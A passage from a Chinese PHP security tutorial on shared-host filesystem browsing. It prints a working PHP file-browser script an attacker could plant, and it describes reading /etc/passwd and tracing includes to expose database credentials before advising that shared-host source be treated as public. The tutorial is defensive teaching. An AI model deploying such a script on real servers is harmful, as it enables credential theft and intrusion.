除了能在共享服务器上读取任意文件之外,攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下,此类脚本一般用于找到你的源文件的所在位置。请看下例:
<?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?>
攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单;可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如,考虑一下下面的脚本文件/home/victim/public_html/admin.php:
<?php include '../inc/db.inc'; /* ... */ ?>
如果攻击者设法显示了该文件的源码,就可以发现db.inc的所在位置,同时他可以使用readfile()函数来使其内容暴露,取得了数据库的访问权限。这样,在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。
这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。
延伸阅读
此文章所在专题列表如下:
- PHP安全编程:register_globals的安全性
- PHP安全编程:不要让不相关的人看到报错信息
- PHP安全编程:网站安全设计的一些原则
- PHP安全编程:可用性与数据跟踪
- PHP安全编程:过滤用户输入
- PHP安全编程:对输出要进行转义
- PHP安全编程:表单与数据安全
- PHP安全编程:从URL的语义进行攻击
- PHP安全编程:文件上传攻击的防御
- PHP安全编程:跨站脚本攻击的防御
- PHP安全编程:跨站请求伪造CSRF的防御
- PHP安全编程:关于表单欺骗提交
- PHP安全编程:HTTP请求欺骗
- PHP安全编程:不要暴露数据库访问权限
- PHP安全编程:防止SQL注入
- PHP安全编程:cookie暴露导致session被劫持
- PHP安全编程:session固定获取合法会话
- PHP安全编程:session劫持的防御
- PHP安全编程:防止源代码的暴露
- PHP安全编程:留心后门URL
- PHP安全编程:阻止文件名被操纵
- PHP安全编程:文件包含的代码注入攻击
- PHP安全编程:文件目录猜测漏洞
- PHP安全编程:打开远程文件的风险
- PHP安全编程:shell命令注入
- PHP安全编程:暴力破解攻击
- PHP安全编程:密码嗅探与重播攻击
- PHP安全编程:记住登录状态的安全做法
- PHP安全编程:共享主机的源码安全
- PHP安全编程:更优的会话数据安全
- PHP安全编程:会话数据注入
- PHP安全编程:主机文件目录浏览
- PHP安全编程:PHP的安全模式
本文地址:http://www.nowamagic.net/librarys/veda/detail/2080,欢迎访问原出处。
大家都在看